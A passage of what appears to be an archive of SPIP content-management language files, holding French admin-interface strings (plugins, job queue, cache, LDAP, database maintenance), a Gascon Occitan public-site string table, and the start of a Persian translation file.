'plugin_titre_automatique' => 'Installation automatique',
'plugin_titre_automatique_ajouter' => 'Ajouter des plugins',
'plugin_titre_installation' => 'Installation du plugin @plugin@',
'plugin_titre_modifier' => 'Mes plugins',
'plugin_zip_active' => 'Continuez pour l’activer',
'plugin_zip_adresse' => 'indiquez ci-dessous l’adresse d’un fichier zip de plugin à télécharger, ou encore l’adresse d’une liste de plugins.',
'plugin_zip_adresse_champ' => 'Adresse du plugin ou de la liste ',
'plugin_zip_content' => 'Il contient les fichiers suivants (@taille@),<br />prêts à installer dans le répertoire <code>@rep@</code>',
'plugin_zip_installe_finie' => 'Le fichier @zip@ a été décompacté et installé.',
'plugin_zip_installe_rep_finie' => 'Le fichier @zip@ a été décompacté et installé dans le répertoire @rep@',
'plugin_zip_installer' => 'Vous pouvez maintenant l’installer.',
'plugin_zip_telecharge' => 'Le fichier @zip@ a été téléchargé',
'plugins_actif_aucun' => 'Aucun plugin activé.',
'plugins_actif_un' => 'Un plugin activé.',
'plugins_actifs' => '@count@ plugins activés.',
'plugins_actifs_liste' => 'Actifs',
'plugins_compte' => '@count@ plugins',
'plugins_disponible_un' => 'Un plugin disponible.',
'plugins_disponibles' => '@count@ plugins disponibles.',
'plugins_erreur' => 'Erreur dans les plugins : @plugins@',
'plugins_liste' => 'Liste des plugins',
'plugins_liste_dist' => 'Plugins verrouillés',
'plugins_recents' => 'Plugins récents.',
'plugins_tous_liste' => 'Tous',
'plugins_vue_hierarchie' => 'Hiérarchie',
'plugins_vue_liste' => 'Liste',
'protocole_ldap' => 'Version du protocole :',
// Q
'queue_executer_maintenant' => 'Exécuter maintenant',
'queue_info_purger' => 'Vous pouvez supprimer tous les travaux en attente et ré-initialiser la liste avec les travaux périodiques',
'queue_nb_jobs_in_queue' => '@nb@ travaux en attente',
'queue_next_job_in_nb_sec' => 'Prochain travail dans @nb@ s',
'queue_no_job_in_queue' => 'Aucun travail en attente',
'queue_one_job_in_queue' => '1 travail en attente',
'queue_purger_queue' => 'Réinitialiser la liste des travaux',
'queue_titre' => 'Liste des travaux',
// R
'repertoire_plugins' => 'Répertoire :',
// S
'sans_heure' => 'sans heure',
'statut_admin_restreint' => 'admin restreint',
'statut_webmestre' => 'webmestre',
// T
'tache_cron_asap' => 'Tâche CRON @function@ (ASAP)',
'tache_cron_secondes' => 'Tâche CRON @function@ (toutes les @nb@ s)',
'taille_cache_image' => 'Les images calculées automatiquement par SPIP (vignettes des documents, titres présentés sous forme graphique, fonctions mathématiques au format TeX...) occupent dans le répertoire @dir@ un total de @taille@.',
'taille_cache_infinie' => 'Ce site ne prévoit pas de limitation de taille du répertoire du cache.',
'taille_cache_maxi' => 'SPIP essaie de limiter la taille du répertoire du cache de ce site à environ <b>@octets@</b> de données.',
'taille_cache_moins_de' => 'La taille du cache est de moins de @octets@.',
'taille_cache_octets' => 'La taille du cache est actuellement de @octets@ environ.',
'taille_cache_vide' => 'Le cache est vide.',
'taille_repertoire_cache' => 'Taille du répertoire cache',
'text_article_propose_publication' => 'Article proposé pour la publication.',
'texte_acces_ldap_anonyme_1' => 'Certains serveurs LDAP n’acceptent aucun accès anonyme. Dans ce cas il faut spécifier un identifiant d’accès initial afin de pouvoir ensuite rechercher des informations dans l’annuaire. Dans la plupart des cas néanmoins, les champs suivants pourront être laissés vides.',
'texte_admin_effacer_01' => 'Cette commande efface <i>tout</i> le contenu de la base de données,
y compris <i>tous</i> les accès rédacteurs et administrateurs. Après l’avoir exécutée, vous devrez lancer la
réinstallation de SPIP pour recréer une nouvelle base ainsi qu’un premier accès administrateur.',
'texte_adresse_annuaire_1' => '(Si votre annuaire est installé sur la même machine que ce site Web, il s’agit probablement de « localhost ».)',
'texte_ajout_auteur' => 'L’auteur suivant a été ajouté à l’article :',
'texte_annuaire_ldap_1' => 'Si vous avez accès à un annuaire (LDAP), vous pouvez l’utiliser pour importer automatiquement des utilisateurs sous SPIP.',
'texte_article_statut' => 'Cet article est :',
'texte_article_virtuel' => 'Article virtuel',
'texte_article_virtuel_reference' => '<b>Article virtuel :</b> article référencé dans votre site SPIP, mais redirigé vers une autre URL. Pour supprimer la redirection, effacez l’URL ci-dessus.',
'texte_aucun_resultat_auteur' => 'Aucun résultat pour "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Ce site peut vous indiquer en permanence la liste des rédacteurs connectés, ce qui vous permet d’échanger des messages en direct. Vous pouvez décider de ne pas apparaître dans cette liste (vous êtes « invisible » pour les autres utilisateurs).',
'texte_auteur_messagerie_1' => 'Ce site permet l’échange de messages et la constitution de forums de discussion privés entre les participants du site. Vous pouvez décider de ne pas participer à ces échanges.',
'texte_auteurs' => 'LES AUTEURS',
'texte_choix_base_1' => 'Choisissez votre base :',
'texte_choix_base_2' => 'Le serveur SQL contient plusieurs bases de données.',
'texte_choix_base_3' => '<b>Sélectionnez</b> ci-après celle qui vous a été attribuée par votre hébergeur :',
'texte_choix_table_prefix' => 'Préfixe des tables :',
'texte_commande_vider_tables_indexation' => 'Utilisez cette commande afin de vider les tables d’indexation utilisées
par le moteur de recherche intégré à SPIP. Cela vous permettra
de gagner de l’espace disque.',
'texte_compatibilite_html' => 'Vous pouvez demander à SPIP de produire, sur le site public, du code compatible avec la norme <i>HTML4</i>, ou lui permettre d’utiliser les possibilités plus modernes du <i>HTML5</i>.',
'texte_compatibilite_html_attention' => 'Il n’y a aucun risque à activer l’option <i>HTML5</i>, mais si vous le faites, les pages de votre site devront commencer par la mention suivante pour rester valides : <code>< !DOCTYPE html></code>.',
'texte_compresse_ou_non' => '(celui-ci peut être compressé ou non)',
'texte_compte_element' => '@count@ élément',
'texte_compte_elements' => '@count@ éléments',
'texte_conflit_edition_correction' => 'Veuillez contrôler ci-dessous les différences entre les deux versions du texte ; vous pouvez aussi copier vos modifications, puis recommencer.',
'texte_connexion_mysql' => 'Consultez les informations fournies par votre hébergeur : vous devez y trouver le serveur de base de données qu’il propose et vos identifiants personnels pour vous y connecter.',
'texte_contenu_article' => '(Contenu de l’article en quelques mots.)',
'texte_contenu_articles' => 'Selon la maquette adoptée pour votre site, vous pouvez décider
que certains éléments des articles ne sont pas utilisés.
Utilisez la liste ci-dessous pour indiquer quels éléments sont disponibles.',
'texte_crash_base' => 'Si votre base de données a
crashé, vous pouvez tenter une réparation
automatique.',
'texte_creer_rubrique' => 'Avant de pouvoir écrire des articles,<br /> vous devez créer une rubrique.',
'texte_date_creation_article' => 'DATE DE CRÉATION DE L’ARTICLE :', # on ajoute le ":"
'texte_date_creation_objet' => 'Date de création :', # on ajoute le ":"
'texte_date_publication_anterieure' => 'Date de rédaction antérieure :',
'texte_date_publication_anterieure_nonaffichee' => 'Ne pas afficher de date de rédaction antérieure.',
'texte_date_publication_article' => 'DATE DE PUBLICATION EN LIGNE :',
'texte_date_publication_objet' => 'Date de publication en ligne :',
'texte_descriptif_petition' => 'Descriptif de la pétition',
'texte_descriptif_rapide' => 'Descriptif rapide',
'texte_effacer_base' => 'Effacer la base de données SPIP',
'texte_effacer_donnees_indexation' => 'Effacer les données d’indexation',
'texte_effacer_statistiques' => 'Effacer les statistiques',
'texte_en_cours_validation' => 'Les contenus ci-dessous sont en attente de validation.',
'texte_enrichir_mise_a_jour' => 'Vous pouvez enrichir la mise en page de votre texte en utilisant des « raccourcis typographiques ».',
'texte_fichier_authent' => '<b>SPIP doit-il créer les fichiers spéciaux
<tt>.htpasswd</tt> et <tt>.htpasswd-admin</tt> dans le répertoire @dossier@ ?</b>
<p>Ces fichiers peuvent vous servir à restreindre l’accès aux auteurs et administrateurs en d’autres endroits de votre site (programme externe de statistiques, par exemple).</p>
<p>Si vous n’en avez pas l’utilité, vous pouvez laisser cette option à sa valeur par défaut (pas de création des fichiers).</p>',
'texte_informations_personnelles_1' => 'Le système va maintenant vous créer un accès personnalisé au site.',
'texte_informations_personnelles_2' => '(Note : il s’agit d’une réinstallation, si votre accès marche toujours vous pouvez',
'texte_introductif_article' => '(Texte introductif de l’article.)',
'texte_jeu_caractere' => 'Il est conseillé d’employer, sur votre site, l’alphabet universel (<tt>utf-8</tt>) : celui-ci permet l’affichage de textes dans toutes les langues, et ne pose plus de problèmes de compatibilité avec les navigateurs modernes.',
'texte_jeu_caractere_2' => 'Attention : ce réglage ne provoque pas la conversion des textes déjà enregistrés dans la base de données.',
'texte_jeu_caractere_3' => 'Votre site est actuellement installé dans le jeu de caractères :',
'texte_jeu_caractere_4' => 'Si cela ne correspond pas à la réalité de vos données (suite, par exemple, à une restauration de base de données), ou si <em>vous démarrez ce site</em> et souhaitez partir sur un autre jeu de caractères, veuillez indiquer ce dernier ici :',
'texte_jeu_caractere_conversion' => 'Note : vous pouvez décider de convertir une fois pour toutes l’ensemble des textes de votre site (articles, brèves, forums, etc.) vers l’alphabet <tt>utf-8</tt>, en vous rendant sur <a href="@url@">la page de conversion vers l’utf-8</a>.',
'texte_lien_hypertexte' => '(Si votre message se réfère à un article publié sur le Web, ou à une page fournissant plus d’informations, veuillez indiquer ci-après le titre de la page et son adresse URL.)',
'texte_login_ldap_1' => '(Laisser vide pour un accès anonyme, ou entrer le chemin complet, par exemple « <tt>uid=dupont, ou=users, dc=mon-domaine, dc=com</tt> ».)',
'texte_login_precaution' => 'Attention ! Ceci est le login sous lequel vous êtes connecté actuellement.
Utilisez ce formulaire avec précaution...',
'texte_message_edit' => 'Attention : ce message peut être modifié par tous les administrateurs du site, et est visible par tous les rédacteurs. N’utilisez les annonces que pour exposer des événements importants de la vie du site.',
'texte_messagerie_agenda' => 'Une messagerie permet aux rédacteurs du site de communiquer entre eux directement dans l’espace privé du site. Elle est associée à un agenda.',
'texte_mise_a_niveau_base_1' => 'Vous venez de mettre à jour les fichiers SPIP.
Il faut maintenant mettre à niveau la base de données
du site.',
'texte_modifier_article' => 'Modifier l’article :',
'texte_moteur_recherche_active' => '<b>Le moteur de recherche est activé.</b> Utilisez cette commande
si vous souhaitez procéder à une réindexation rapide (après restauration
d’une sauvegarde par exemple). Notez que les documents modifiés de
façon normale (depuis l’interface SPIP) sont automatiquement
réindexés : cette commande n’est donc utile que de façon exceptionnelle.',
'texte_moteur_recherche_non_active' => 'Le moteur de recherche n’est pas activé.',
'texte_multilinguisme' => 'Si vous souhaitez gérer des objets en plusieurs langues, avec une navigation complexe, vous pouvez ajouter un menu de sélection de langue sur ces objets, en fonction de l’organisation de votre site.',
'texte_multilinguisme_trad' => 'Vous pouvez également activer un système de gestion de liens entre les différentes traductions sur certains objets.',
'texte_non_compresse' => '<i>non compressé</i> (votre serveur ne supportant pas cette fonctionnalité)',
'texte_nouveau_message' => 'Nouveau message',
'texte_nouvelle_version_spip_1' => 'Vous avez installé une nouvelle version de SPIP.',
'texte_nouvelle_version_spip_2' => 'Cette nouvelle version nécessite une mise à jour plus complète qu’à l’accoutumée. Si vous êtes webmestre du site, veuillez effacer le fichier @connect@ et reprendre l’installation afin de mettre à jour vos paramètres de connexion à la base de données.<p> (NB. : si vous avez oublié vos paramètres de connexion, jetez un œil au fichier @connect@ avant de le supprimer...)</p>',
'texte_operation_echec' => 'Retournez à la page précédente, sélectionnez une autre base ou créez-en une nouvelle. Vérifiez les informations fournies par votre hébergeur.',
'texte_plus_trois_car' => 'plus de 3 caractères',
'texte_plusieurs_articles' => 'Plusieurs auteurs trouvés pour "@cherche_auteur@" :',
'texte_port_annuaire' => '(La valeur indiquée par défaut convient généralement.)',
'texte_presente_plugin' => 'Cette page liste les plugins disponibles sur le site. Vous pouvez activer les plugins nécessaires en cochant la case correspondante.',
'texte_proposer_publication' => 'Lorsque votre article est terminé,<br /> vous pouvez proposer sa publication.',
'texte_proxy' => 'Dans certains cas (intranet, réseaux protégés), les sites distants (documentation de SPIP, sites syndiqués, etc.) ne sont accessibles qu’à travers un <i>proxy HTTP</i>. Le cas échéant, indiquez ci-dessous son adresse, sous la forme @proxy_en_cours@. En général, vous laisserez cette case vide.',
'texte_publication_articles_post_dates' => 'Quel comportement SPIP doit-il adopter face aux articles dont la
date de publication a été fixée à une
échéance future ?',
'texte_rappel_selection_champs' => '[N’oubliez pas de sélectionner correctement ce champ.]',
'texte_recalcul_page' => 'Si vous voulez
recalculer une seule page, passez plutôt par l’espace public et utilisez-y le bouton « recalculer ».',
'texte_recapitiule_liste_documents' => 'Cette page récapitule la liste des documents que vous avez placés dans les rubriques. Pour modifier les informations de chaque document, suivez le lien vers la page de sa rubrique.',
'texte_recuperer_base' => 'Réparer la base de données',
'texte_reference_mais_redirige' => 'article référencé dans votre site SPIP, mais redirigé vers une autre URL.',
'texte_requetes_echouent' => '<b>Lorsque certaines requêtes SQL échouent
systématiquement et sans raison apparente, il est possible
que ce soit à cause de la base de données
elle-même.</b><p>
Votre serveur SQL dispose d’une faculté de réparation de ses
tables lorsqu’elles ont été endommagées par
accident. Vous pouvez ici tenter cette réparation ; en
cas d’échec, conservez une copie de l’affichage, qui contient
peut-être des indices de ce qui ne va pas...</p><p>
Si le problème persiste, prenez contact avec votre
hébergeur.</p>',
'texte_selection_langue_principale' => 'Vous pouvez sélectionner ci-dessous la « langue principale » du site. Ce choix ne vous oblige - heureusement ! - pas à écrire vos articles dans la langue sélectionnée, mais permet de déterminer :
<ul><li> le format par défaut des dates sur le site public ;</li>
<li> la nature du moteur typographique que SPIP doit utiliser pour le rendu des textes ;</li>
<li> la langue utilisée dans les formulaires du site public ;</li>
<li> la langue présentée par défaut dans l’espace privé.</li></ul>',
'texte_sous_titre' => 'Sous-titre',
'texte_statistiques_visites' => '(barres foncées : dimanche / courbe foncée : évolution de la moyenne)',
'texte_statut_attente_validation' => 'en attente de validation',
'texte_statut_publies' => 'publiés en ligne',
'texte_statut_refuses' => 'refusés',
'texte_suppression_fichiers' => 'Utilisez cette commande afin de supprimer tous les fichiers présents
dans le cache SPIP. Cela permet par exemple de forcer un recalcul de toutes les pages si vous
avez fait des modifications importantes de graphisme ou de structure du site.',
'texte_sur_titre' => 'Sur-titre',
'texte_table_ok' => ' : cette table est OK.',
'texte_tables_indexation_vides' => 'Les tables d’indexation du moteur sont vides.',
'texte_tentative_recuperation' => 'Tentative de réparation',
'texte_tenter_reparation' => 'Tenter une réparation de la base de données',
'texte_test_proxy' => 'Pour faire un essai de ce proxy, indiquez ici l’adresse d’un site Web
que vous souhaitez tester.',
'texte_titre_02' => 'Titre :',
'texte_titre_obligatoire' => '<b>Titre</b> [Obligatoire]',
'texte_travail_article' => '@nom_auteur_modif@ a travaillé sur cet article il y a @date_diff@ minutes',
'texte_travail_collaboratif' => 'S’il est fréquent que plusieurs rédacteurs
travaillent sur le même article, le système
peut afficher les articles récemment « ouverts »
afin d’éviter les modifications simultanées.
Cette option est désactivée par défaut
afin d’éviter d’afficher des messages d’avertissement
intempestifs.',
'texte_trop_resultats_auteurs' => 'Trop de résultats pour "@cherche_auteur@" ; veuillez affiner la recherche.',
'texte_unpack' => 'téléchargement de la dernière version',
'texte_utilisation_moteur_syndiques' => 'Lorsque vous utilisez le moteur de recherche intégré
à SPIP, vous pouvez effectuer les recherches sur les sites et
les articles syndiqués de deux manières
différentes. <br />- La plus
simple consiste à rechercher uniquement dans les
titres et les descriptifs des articles. <br />-
Une seconde méthode, beaucoup plus puissante, permet
à SPIP de rechercher également dans le texte des
sites référencés . Si vous
référencez un site, SPIP va alors effectuer la
recherche dans le texte du site lui-même.',
'texte_utilisation_moteur_syndiques_2' => 'Cette méthode oblige SPIP à visiter
régulièrement les sites référencés,
ce qui peut provoquer un léger ralentissement de votre propre
site.',
'texte_vide' => 'vide',
'texte_vider_cache' => 'Vider le cache',
'titre_admin_effacer' => 'Maintenance technique',
'titre_admin_tech' => 'Maintenance technique',
'titre_admin_vider' => 'Maintenance technique',
'titre_ajouter_un_auteur' => 'Ajouter un auteur',
'titre_ajouter_un_mot' => 'Ajouter un mot-clé',
'titre_ajouter_une_rubrique' => 'Ajouter une rubrique',
'titre_cadre_afficher_article' => 'Afficher les articles',
'titre_cadre_afficher_traductions' => 'Afficher l’état des traductions pour les langues suivantes :',
'titre_cadre_ajouter_auteur' => 'AJOUTER UN AUTEUR :',
'titre_cadre_interieur_rubrique' => 'À l’intérieur de la rubrique',
'titre_cadre_numero_auteur' => 'AUTEUR NUMÉRO',
'titre_cadre_numero_objet' => '@objet@ NUMÉRO :',
'titre_cadre_signature_obligatoire' => '<b>Signature</b> [Obligatoire]<br />',
'titre_config_contenu_notifications' => 'Notifications',
'titre_config_contenu_prive' => 'Dans l’espace privé',
'titre_config_contenu_public' => 'Sur le site public',
'titre_config_fonctions' => 'Configuration du site',
'titre_config_langage' => 'Configurer la langue',
'titre_configuration' => 'Configuration du site',
'titre_configurer_preferences' => 'Configurer vos préférences',
'titre_conflit_edition' => 'Conflit lors de l’édition',
'titre_connexion_ldap' => 'Options : <b>Votre connexion LDAP</b>',
'titre_groupe_mots' => 'GROUPE DE MOTS :',
'titre_identite_site' => 'Identité du site',
'titre_langue_article' => 'Langue de l’article',
'titre_langue_rubrique' => 'Langue de la rubrique',
'titre_langue_trad_article' => 'LANGUE ET TRADUCTIONS DE L’ARTICLE',
'titre_les_articles' => 'LES ARTICLES',
'titre_messagerie_agenda' => 'Messagerie et agenda',
'titre_naviguer_dans_le_site' => 'Naviguer dans le site...',
'titre_nouvelle_rubrique' => 'Nouvelle rubrique',
'titre_numero_rubrique' => 'RUBRIQUE NUMÉRO :',
'titre_page_admin_effacer' => 'Maintenance technique : effacer la base',
'titre_page_articles_edit' => 'Modifier : @titre@',
'titre_page_articles_page' => 'Les articles',
'titre_page_articles_tous' => 'Tout le site',
'titre_page_auteurs' => 'Visiteurs',
'titre_page_calendrier' => 'Calendrier @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Configuration du site',
'titre_page_config_fonctions' => 'Configuration du site',
'titre_page_configuration' => 'Configuration du site',
'titre_page_controle_petition' => 'Suivi des pétitions',
'titre_page_delete_all' => 'suppression totale et irréversible',
'titre_page_documents_liste' => 'Les documents des rubriques',
'titre_page_index' => 'Votre espace privé',
'titre_page_message_edit' => 'Rédiger un message',
'titre_page_messagerie' => 'Votre messagerie',
'titre_page_recherche' => 'Résultats de la recherche @recherche@',
'titre_page_statistiques_referers' => 'Statistiques (liens entrants)',
'titre_page_statistiques_signatures_jour' => 'Nombre de signatures par jour',
'titre_page_statistiques_signatures_mois' => 'Nombre de signatures par mois',
'titre_page_upgrade' => 'Mise à niveau de SPIP',
'titre_publication_articles_post_dates' => 'Publication des articles post-datés',
'titre_referencer_site' => 'Référencer le site :',
'titre_rendez_vous' => 'RENDEZ-VOUS :',
'titre_reparation' => 'Réparation',
'titre_suivi_petition' => 'Suivi des pétitions',
'tls_ldap' => 'Transport Layer Security :',
'trad_article_inexistant' => 'Il n’y a pas d’article portant ce numéro.',
'trad_article_traduction' => 'Toutes les versions de cet article :',
'trad_deja_traduit' => 'Erreur : impossible de relier cet article au numéro demandé. ',
'trad_delier' => 'Ne plus lier à ces traductions',
'trad_lier' => 'Cet article est une traduction de l’article numéro :',
'trad_new' => 'Écrire une nouvelle traduction',
// U
'upload_info_mode_document' => 'Déposer cette image dans le portfolio',
'upload_info_mode_image' => 'Retirer cette image du portfolio',
'utf8_convert_attendez' => 'Attendez quelques instants et rechargez cette page.',
'utf8_convert_avertissement' => 'Vous vous apprêtez à convertir le contenu de votre base de données (articles, brèves, etc) du jeu de caractères <b>@orig@</b> vers le jeu de caractères <b>@charset@</b>.',
'utf8_convert_backup' => 'N’oubliez pas de faire auparavant une sauvegarde complète de votre site. Vous devrez aussi vérifier que vos squelettes et fichiers de langue sont compatibles @charset@.',
'utf8_convert_erreur_deja' => 'Votre site est déjà en @charset@, inutile de le convertir...',
'utf8_convert_erreur_orig' => 'Erreur : le jeu de caractères @charset@ n’est pas supporté.',
'utf8_convert_termine' => 'C’est terminé !',
'utf8_convert_timeout' => '<b>Important :</b> en cas de <i>timeout</i> du serveur, veuillez recharger la page jusqu’à ce qu’elle indique « terminé ».',
'utf8_convert_verifier' => 'Vous devez maintenant aller vider le cache, et vérifier que tout se passe bien sur les pages publiques du site. En cas de gros problème, une sauvegarde de vos données a été réalisée (au format SQL) dans le répertoire @rep@.',
'utf8_convertir_votre_site' => 'Convertir votre site en utf-8',
// V
'version' => 'Version :'
);
?>
public_oc_gsc.php 0000666 00000007210 15252547432 0010065 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=oc_gsc
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Arcuelh deu sit', # MODIF
'articles' => 'Articles',
'articles_auteur' => 'Articles d’aqueth autor',
'articles_populaires' => 'Los articles mei populars',
'articles_rubrique' => 'Articles d’aquera rubrica',
'aucun_article' => 'N’i a pas nat d’article a aquera adreça ',
'aucun_auteur' => 'N’i a pas nat autor a aquera adreça ',
'aucun_site' => 'N’i a pas nat sit a aquera adreça ',
'aucune_breve' => 'N’i a pas nada brèva a aquera adreça ',
'aucune_rubrique' => 'N’i a pas nada rubrica a aquera adreça ',
'autres_breves' => 'Autas brèvas',
'autres_groupes_mots_clefs' => 'Autes grops de mots clau',
'autres_sites' => 'Autes sits',
// B
'bonjour' => 'Adishatz',
// C
'commenter_site' => 'Comentar aqueth sit',
// D
'date' => 'Data',
'dernier_ajout' => 'Darrèr horniment',
'dernieres_breves' => 'Darrèras brèvas',
'derniers_articles' => 'Darrèrs articles',
'derniers_commentaires' => 'Darrèrs comentaris',
'derniers_messages_forum' => 'Darrèrs messatges publicats dens los forums',
// E
'edition_mode_texte' => 'Edicion en mòde tèxt de',
'en_reponse' => 'En arresponsa a:',
'en_resume' => 'En resumit',
'envoyer_message' => 'Mandar un messatge',
'espace_prive' => 'Espaci privat',
// H
'hierarchie_site' => 'Ierarquia deu sit',
// J
'jours' => 'dias',
// M
'meme_auteur' => 'Deu medish autor',
'meme_rubrique' => 'Dens la medisha rubrica',
'memes_auteurs' => 'Deus medishs autors',
'message' => 'Messatge',
'messages_forum' => 'Messatges de forum', # MODIF
'messages_recents' => 'Los messatges de forums mei recents',
'mots_clefs' => 'Mots clau',
'mots_clefs_meme_groupe' => 'Mots clau dens lo medish grop',
// N
'navigation' => 'Navigacion',
'nom' => 'Nom',
'nouveautes' => 'Las nautats',
'nouveautes_web' => 'Nautats suber lo web',
'nouveaux_articles' => 'Articles naus',
'nouvelles_breves' => 'Brèvas navas',
// P
'page_precedente' => 'pagina precedenta',
'page_suivante' => 'pagina seguenta',
'par_auteur' => 'per ',
'participer_site' => 'Que podetz participar a la vita d’aqueth sit e perpausar los articles vòstes en inscrive’vs ça devath. Qu’arreceberatz suu còp un e-mail qui vs’indicarà los vòstes còdes tà accedir a l’espaci privat deu sit.',
'plan_site' => 'Plan deu sit',
'popularite' => 'Popularitat',
'poster_message' => 'Postar un messatge',
'proposer_site' => 'Que podetz prepausar un sit de hornir a aquesta rubrica:',
// R
'repondre_article' => 'Arrespóner a aqueth article',
'repondre_breve' => 'Arrespóner a aquera brèva',
'resultats_recherche' => 'Resultats de la cèrca',
'retour_debut_forums' => 'Retorn au començament deus forums',
'rubrique' => 'Rubrica',
'rubriques' => 'Rubricas',
// S
'signatures_petition' => 'Signaturas',
'site_realise_avec_spip' => 'Sit realizat dab SPIP',
'sites_web' => 'Sits web',
'sous_rubriques' => 'Sosrubricas',
'suite' => 'seguida',
'sur_web' => 'Suber lo web',
'syndiquer_rubrique' => 'Sindicar aquera rubrica',
'syndiquer_site' => 'Sindicar tot lo sit',
// T
'texte_lettre_information' => 'Ací la letra d’informacion deu sit',
'texte_lettre_information_2' => 'Aquera letra que recensa los articles e brèvas publicats dempuish', # MODIF
// V
'ver_imprimer' => 'Version d’estampar',
'voir_en_ligne' => 'Vedetz en linha',
'voir_squelette' => 'telecargar l’esqueleta d’aquera pagina'
);
?>
spip_fa.php 0000666 00000131511 15252547432 0006715 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://www.spip.net/fa',
'0_langue' => '[fa] فارسى',
'0_liste' => 'spip-fa@rezo.net',
'0_mainteneur' => 'mani@rezo.net',
// A
'access_interface_graphique' => 'بازگشت به نماى كامل سايت',
'access_mode_texte' => 'نماى ساده سايت را نمايش دهيد',
'admin_debug' => 'رفع خرابى',
'admin_modifier_article' => 'اصلاح اين مقاله',
'admin_modifier_auteur' => 'اصلاح اين نويسنده',
'admin_modifier_breve' => 'اصلاح اين خبر',
'admin_modifier_mot' => 'اصلاح اين كليدواژه',
'admin_modifier_rubrique' => 'اصلاح اين بخش',
'admin_recalculer' => 'اين صفحه را نو كنيد',
'afficher_calendrier' => 'نمايش تقويم',
'afficher_trad' => 'ترجمه ها را نشان دهید',
'alerte_maj_impossible' => '<b>هشدار!</b> نو کردن داده پی SQL برای نسخه ی @version@ شايد بخاطر مشكل مرتبط با اصلاح پايگاه دادهها، غيرممكن است. با ميزبان خود تماس بگيريد.',
'alerte_modif_info_concourante' => 'توجه: اين اطلاعات از جهات ديگر اصلاح شده مقدار واقعي اين است:',
'analyse_xml' => 'تجزیه XML',
'annuler' => 'باطل شود',
'antispam_champ_vide' => 'خواهشمند است اين قسمت را خالى بگذاريد:',
'articles_recents' => 'تازه ترين مقاله ها',
'avis_archive_incorrect' => 'فايل بايگاني فايل اسپيپ نيست',
'avis_archive_invalide' => 'فايل بايگانى معتبر نميباشد',
'avis_attention' => 'توجه !',
'avis_champ_incorrect_type_objet' => 'نام زمينه @name@براى اين نوع شئ اشتباه است@type@',
'avis_colonne_inexistante' => 'ستون موجود نميباشد@col@',
'avis_erreur' => 'اشتباه : به زير مراجعه كنيد ',
'avis_erreur_connexion' => 'خطاى اتصال',
'avis_erreur_cookie' => 'اشكال در كوكى',
'avis_erreur_fonction_contexte' => 'اشتباه برنامه ريزى. اين تابع نبايد در اين متن استفاده شود',
'avis_erreur_mysql' => 'اشتباه SQL',
'avis_erreur_sauvegarde' => '!(@type@ @id_objet@) اشتباه در ذخيره سازى',
'avis_erreur_visiteur' => 'مشکل ورود به قسمت خصوصی',
// B
'barre_a_accent_grave' => 'يک A با اکسان گراو بگذاريد',
'barre_aide' => 'از علائم ويژه جهت صفحه آرائی استفاده نمائيد',
'barre_e_accent_aigu' => 'يک E بزرگ با اکسان اگو بگذاريد ',
'barre_eo' => 'يک E در O بگذاريد ',
'barre_eo_maj' => 'يک E در O بزرگ بگذاريد',
'barre_euro' => 'اين نماد را بگنجانيد €',
'barre_gras' => '{{نويسه های درشت}}',
'barre_guillemets' => ' درون « گليمه » بگذاريد',
'barre_guillemets_simples' => ' درون گيلمه بگذاريد',
'barre_intertitre' => 'به {{{عنوان ميان متن}}} تبديل کنيد',
'barre_italic' => '{نويسههای ايتاليک}',
'barre_lien' => '[پيوند هايپر تکست-> http://...]',
'barre_lien_input' => 'خواهشمند است آدرس پيونديتان را يا مانند آدرسهای تارنما بصورت زيرhttp://www.mysite/comيا تنها با درج شماره مقاله اين سايت مشخص کنيد. ',
'barre_note' => ' به [[زير نويس پائين صفحه]] تبديل شود',
'barre_paragraphe' => 'ايجاد يك پارگراف',
'barre_quote' => '<quote>يک پيام را بازگو کنيد</quote>',
'bouton_changer' => 'عوض كنيد',
'bouton_chercher' => 'جستجو كنيد',
'bouton_choisir' => 'انتخاب كنيد',
'bouton_deplacer' => 'حذف ',
'bouton_download' => 'باربرداري كنيد',
'bouton_enregistrer' => 'ثبت كنيد',
'bouton_radio_desactiver_messagerie_interne' => 'پپام گير داخلى را غير فعال كنيد',
'bouton_radio_envoi_annonces' => 'اعلانهاى سر مقاله ها را بفرستيد',
'bouton_radio_non_envoi_annonces' => 'خبرها را نفرستيد',
'bouton_radio_non_envoi_liste_nouveautes' => 'فهرست تازه ها را نفرستيد',
'bouton_recharger_page' => 'اين صفحه را دوباره شارژ كنيد',
'bouton_telecharger' => 'بارگذارى كنيد',
'bouton_upload' => '>باربرداري كنيد',
'bouton_valider' => 'معتبر كنيد',
// C
'cal_apresmidi' => 'بعد از ظهر',
'cal_jour_entier' => 'تمام روز',
'cal_matin' => 'صبح',
'cal_par_jour' => 'روز شمار',
'cal_par_mois' => 'ماه شمار',
'cal_par_semaine' => 'هفته شمار',
'choix_couleur_interface' => 'رنگ',
'choix_interface' => 'انتخاب نمای سایت',
'colonne' => 'ستون',
'confirm_changer_statut' => 'توجه شما درخواست تغيير وضعيت اين كاربرد را كرده ايد آيا ميخواهيد ادامه دهيد?',
'correcte' => 'درست',
// D
'date_aujourdhui' => 'امروز',
'date_avant_jc' => 'پيش از ميلاد مسيح',
'date_dans' => 'در عرض @delai@',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'فردا',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_heures_minutes_court' => '@h@h@m@',
'date_fmt_jour_heure' => ' @heure@ @jour@ ',
'date_fmt_jour_mois' => '@jour@ @nommois@',
